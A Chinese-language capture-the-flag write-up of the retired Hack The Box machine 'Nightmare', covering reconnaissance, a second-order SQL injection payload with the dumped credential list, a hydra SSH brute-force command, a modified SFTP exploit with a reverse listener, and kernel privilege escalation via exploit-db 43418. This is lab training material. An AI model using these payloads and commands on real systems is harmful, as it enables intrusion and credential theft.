本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.66
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.66 -o ./Nightmare-autorecon
开放了两个端口,先访问80端口
就一登录界面经过测试发现存在二次注入,大概注入方式是先注册个带注入语句的用户名,密码随便输入,但是要记住,之后不断的尝试字段有多少个,有哪些字段,然后爆出字段的用户名和密码
下面是最终注入出来的用户名和密码的SQL注入语句
bmfx') union select 1,group_concat(username,0x7c,password,0x0a) from sysadmin.users#
admin|nimda
cisco|cisco123
adminstrator|Pyuhs738?183*hjO!
josh|tontochilegge
system|manager
root|HasdruBal78
decoder|HackerNumberOne!
ftpuser|@whereyougo?
sys|change_on_install
superuser|passw0rd
user|odiolafeta
具体手工注入过程参考:https://www.hackingarticles.in/hack-the-box-nightmare-walkthrough/
将上面获得的账户和密码单独放到两个文件user.txt 和pass.txt 使用hydra进行爆破
hydra -L user.txt -P pass.txt -t 64 10.10.10.66 ssh -s 2222
得到了账户和密码ftpuser/@whereyougo?
连接ssh发现登录不上,尝试连接下sftp确认可以登录看了下里面的文件,只能下载不能上传,搜索下sftp的exploit
searchsploit sftp command execution
修改exploit的代码
本地监听443端口执行exploit
翻看下目标家目录的文件夹有个文件不能进去,但是用户decoder能进去,找下属于该用户的文件
find / -group decoder 2>/dev/null
发现了二进制文件sls ,具体分析看这个:https://ironhackers.es/writeups/writeup-nightmare-hackthebox/ 下面是直接利用其缺陷跳转至shell读取了user.txt
查看权限
发现test目录针对用户decoder是存在写和执行的权限,但是没有读的权限,所以这里就是上面为啥目录能进去,但是执行ls查看不了东西的原因,查看内核版本和操作系统版本确认目标靶机存在本地提权漏洞,对应exploit链接:
https://www.exploit-db.com/exploits/43418 https://github.com/manulqwerty/CTF-Scripts-Writeups/blob/master/43418forNightmare.c
本地编译好:
gcc 43418forNightmare.c -o pwn
本地搭建简易web应用下载到目标靶机执行提权操作,注意:这里下载的提权文件放在test目录下刚好可以,而且含有执行权限
成功提权root权限